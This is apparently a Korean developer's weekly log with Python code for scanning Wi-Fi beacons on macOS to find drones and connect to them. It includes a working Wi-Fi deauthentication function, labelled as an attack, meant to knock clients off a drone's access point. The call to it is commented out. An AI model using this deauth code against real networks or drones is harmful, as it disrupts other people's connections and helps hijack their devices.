드론 접속을 위해서 코드를 작성했다. 우선 해당 함수(connectDrone)은 세 가지 파트로 나뉜다.
우선 이번주 개발은 드론 탐색에 맞춰서 개발했다.
MAC OS X의 경우 무선랜을 monitor 모드로 바꾸려면 airport를 사용해야 한다. 아마도 대부분의 MAC에는 깔려있어서 따로 설치해야하는 수고는 들여도 되지 않지만, 편리성은 다른 프로그램에 비교하면 조금 귀찮다.(자료도 생각보다 없고)
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
from pymavlink import mavutil
import keyboard
import os
from time import sleep
import threading
import signal
import subprocess
conf.use_pcap = True
AP = []
SSIDlist = []
def PrintList():#SSID 출력
for i in SSIDlist:
print(i);
#드론 탐색
def ssid_finder(pkt):
if pkt.haslayer(Dot11Beacon):
ssid = pkt[Dot11Elt].info
if ssid and not ({ssid.decode()} in SSIDlist):
print(f"SSID: {ssid.decode()}")
AP.append(ssid)
SSIDlist.append({ssid.decode()})
# AP에 대해서 수정필요.
def start_airport():
global airport_process
airport_process = subprocess.Popen(['sudo', 'airport', 'en0', 'sniff', '149'], preexec_fn=os.setsid)
def stop_airport():
global airport_process
os.killpg(os.getpgid(airport_process.pid), signal.SIGTERM)
print('airport is stopped!')
def sniff_packets():
packet = sniff(iface="en0", prn=ssid_finder, monitor=True, timeout=10)
print(str(packet))
def findDrone():
airport_thread = threading.Thread(target=start_airport)
airport_thread.start()
sleep(1.5)
sniff_thread = threading.Thread(target=sniff_packets)
sniff_thread.start()
sniff_thread.join() # Wait for the sniff_thread to finish
stop_airport() # Stop the airport command
airport_thread.join() # Wait for the airport_thread to finish
sel = int(input('Select number to connect a Drone!'))
return sel
# Deauth 공격
def Deauth(ap, client):
pkt = RadioTap()/Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
sendp(pkt, iface = "en0", iter=0.100, loop=1)
#드론 접속
#def connectWIFI():
def connectDrone():#WIFI connect
sel = findDrone()
#ans = input('Do you want Deauth attack?(y/n)')
#if ans == 'y':
# Deauth(sel)
#connectWIFI(sel)
